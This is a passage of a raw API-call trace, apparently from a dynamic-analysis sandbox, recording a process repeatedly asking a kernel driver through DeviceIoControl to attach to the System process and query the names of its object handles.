returned 0x2 [0089.355] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.355] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.355] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.355] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.355] PsAcquireProcessExitSynchronization () returned 0x0 [0089.355] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.355] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003bb8b60, HandleInformation=0x0) returned 0x0 [0089.355] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.355] PsReleaseProcessExitSynchronization () returned 0x2 [0089.355] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.355] ObQueryNameString (in: Object=0xfffffa8003bb8b60, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0089.355] ObfDereferenceObject (Object=0xfffffa8003bb8b60) returned 0x2 [0089.355] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.355] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.355] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.355] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0089.355] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.355] PsAcquireProcessExitSynchronization () returned 0x0 [0089.355] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.355] ObReferenceObjectByHandle (in: Handle=0xffffffff800005d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020863b0, HandleInformation=0x0) returned 0x0 [0089.355] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.355] PsReleaseProcessExitSynchronization () returned 0x2 [0089.355] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.355] ObQueryNameString (in: Object=0xfffffa80020863b0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.355] ObfDereferenceObject (Object=0xfffffa80020863b0) returned 0x2 [0089.355] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.356] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.356] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.356] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.356] PsAcquireProcessExitSynchronization () returned 0x0 [0089.356] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.356] ObReferenceObjectByHandle (in: Handle=0xffffffff800005e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800226b9a0, HandleInformation=0x0) returned 0x0 [0089.356] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.356] PsReleaseProcessExitSynchronization () returned 0x2 [0089.356] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.356] ObQueryNameString (in: Object=0xfffffa800226b9a0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0089.356] ObfDereferenceObject (Object=0xfffffa800226b9a0) returned 0x2 [0089.356] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.356] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.356] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.356] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.356] PsAcquireProcessExitSynchronization () returned 0x0 [0089.356] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.356] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002066f20, HandleInformation=0x0) returned 0x0 [0089.356] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.356] PsReleaseProcessExitSynchronization () returned 0x2 [0089.356] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.356] ObQueryNameString (in: Object=0xfffffa8002066f20, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.356] ObfDereferenceObject (Object=0xfffffa8002066f20) returned 0x2 [0089.356] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.356] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.356] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.356] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.356] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.356] PsAcquireProcessExitSynchronization () returned 0x0 [0089.357] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.357] ObReferenceObjectByHandle (in: Handle=0xffffffff80000600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002120e50, HandleInformation=0x0) returned 0x0 [0089.357] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.357] PsReleaseProcessExitSynchronization () returned 0x2 [0089.357] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.357] ObQueryNameString (in: Object=0xfffffa8002120e50, ObjectNameInfo=0xfffffa8003a80044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a80044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.357] ObfDereferenceObject (Object=0xfffffa8002120e50) returned 0x2 [0089.357] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.357] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.357] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.357] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.357] PsAcquireProcessExitSynchronization () returned 0x0 [0089.357] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.357] ObReferenceObjectByHandle (in: Handle=0xffffffff80000604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002508a20, HandleInformation=0x0) returned 0x0 [0089.357] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.357] PsReleaseProcessExitSynchronization () returned 0x2 [0089.357] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.357] ObQueryNameString (in: Object=0xfffffa8002508a20, ObjectNameInfo=0xfffffa8003a22044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a22044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.357] ObfDereferenceObject (Object=0xfffffa8002508a20) returned 0x2 [0089.357] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.357] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.357] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.357] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.357] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.357] PsAcquireProcessExitSynchronization () returned 0x0 [0089.358] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.358] ObReferenceObjectByHandle (in: Handle=0xffffffff80000608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002965af0, HandleInformation=0x0) returned 0x0 [0089.358] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.358] PsReleaseProcessExitSynchronization () returned 0x2 [0089.358] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.358] ObQueryNameString (in: Object=0xfffffa8002965af0, ObjectNameInfo=0xfffffa8003a23044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a23044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.358] ObfDereferenceObject (Object=0xfffffa8002965af0) returned 0x2 [0089.358] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.358] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.358] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0089.358] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.358] PsAcquireProcessExitSynchronization () returned 0x0 [0089.358] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.358] ObReferenceObjectByHandle (in: Handle=0xffffffff80000610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800d41cd20, HandleInformation=0x0) returned 0x0 [0089.358] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.358] PsReleaseProcessExitSynchronization () returned 0x2 [0089.358] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.358] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a24044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003a24044, ReturnLength=0xfffff88005233508) returned 0x0 [0089.358] ObfDereferenceObject (Object=0xfffffa800d41cd20) returned 0x12 [0089.358] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.358] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.358] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.358] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.358] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.358] PsAcquireProcessExitSynchronization () returned 0x0 [0089.358] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.358] ObReferenceObjectByHandle (in: Handle=0xffffffff8000061c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80038d0900, HandleInformation=0x0) returned 0x0 [0089.358] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.358] PsReleaseProcessExitSynchronization () returned 0x2 [0089.358] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.358] ObQueryNameString (in: Object=0xfffffa80038d0900, ObjectNameInfo=0xfffffa8003a25044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a25044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.359] ObfDereferenceObject (Object=0xfffffa80038d0900) returned 0x2 [0089.359] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.359] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.359] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.359] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.359] PsAcquireProcessExitSynchronization () returned 0x0 [0089.359] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.359] ObReferenceObjectByHandle (in: Handle=0xffffffff8000062c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fe8c90, HandleInformation=0x0) returned 0x0 [0089.359] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.359] PsReleaseProcessExitSynchronization () returned 0x2 [0089.359] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.359] ObQueryNameString (in: Object=0xfffffa8001fe8c90, ObjectNameInfo=0xfffffa800398b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800398b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.359] ObfDereferenceObject (Object=0xfffffa8001fe8c90) returned 0x2 [0089.359] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.359] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.359] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.359] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.359] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.359] PsAcquireProcessExitSynchronization () returned 0x0 [0089.359] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.359] ObReferenceObjectByHandle (in: Handle=0xffffffff80000630, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002149310, HandleInformation=0x0) returned 0x0 [0089.359] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.359] PsReleaseProcessExitSynchronization () returned 0x2 [0089.359] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.359] ObQueryNameString (in: Object=0xfffffa8002149310, ObjectNameInfo=0xfffffa8003a81044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a81044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.359] ObfDereferenceObject (Object=0xfffffa8002149310) returned 0x2 [0089.359] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.360] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.360] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.360] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.360] PsAcquireProcessExitSynchronization () returned 0x0 [0089.360] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.360] ObReferenceObjectByHandle (in: Handle=0xffffffff80000634, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020dd820, HandleInformation=0x0) returned 0x0 [0089.360] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.360] PsReleaseProcessExitSynchronization () returned 0x2 [0089.360] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.360] ObQueryNameString (in: Object=0xfffffa80020dd820, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.360] ObfDereferenceObject (Object=0xfffffa80020dd820) returned 0x2 [0089.360] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.360] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.360] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.360] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.360] PsAcquireProcessExitSynchronization () returned 0x0 [0089.360] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.360] ObReferenceObjectByHandle (in: Handle=0xffffffff80000638, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214bd20, HandleInformation=0x0) returned 0x0 [0089.360] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.360] PsReleaseProcessExitSynchronization () returned 0x2 [0089.360] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.360] ObQueryNameString (in: Object=0xfffffa800214bd20, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.360] ObfDereferenceObject (Object=0xfffffa800214bd20) returned 0x2 [0089.360] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.360] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.360] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.360] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.360] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.360] PsAcquireProcessExitSynchronization () returned 0x0 [0089.360] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.360] ObReferenceObjectByHandle (in: Handle=0xffffffff8000063c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fe24c0, HandleInformation=0x0) returned 0x0 [0089.360] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.360] PsReleaseProcessExitSynchronization () returned 0x2 [0089.360] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.360] ObQueryNameString (in: Object=0xfffffa8001fe24c0, ObjectNameInfo=0xfffffa8003a26044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a26044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.361] ObfDereferenceObject (Object=0xfffffa8001fe24c0) returned 0x2 [0089.361] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.361] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.361] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0089.361] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.361] PsAcquireProcessExitSynchronization () returned 0x0 [0089.361] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880052335d0) [0089.361] ObReferenceObjectByHandle (in: Handle=0xffffffff80000640, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9000, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800214a3c0, HandleInformation=0x0) returned 0x0 [0089.361] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0089.361] PsReleaseProcessExitSynchronization () returned 0x2 [0089.361] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x132 [0089.361] ObQueryNameString (in: Object=0xfffffa800214a3c0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005233550) returned 0x0 [0089.361] ObfDereferenceObject (Object=0xfffffa800214a3c0) returned 0x2 [0089.361] IofCompleteRequest (Irp=0xfffffa8002112400, PriorityBoost=0) [0089.361] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f205e0 | out: hHeap=0x210000) returned 1 [0089.361] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f205e0 [0089.361] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f205e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f205e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0089.361] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0089.361] PsAcquireProcessExitSynchronization () returned 0x0 [0089.361] 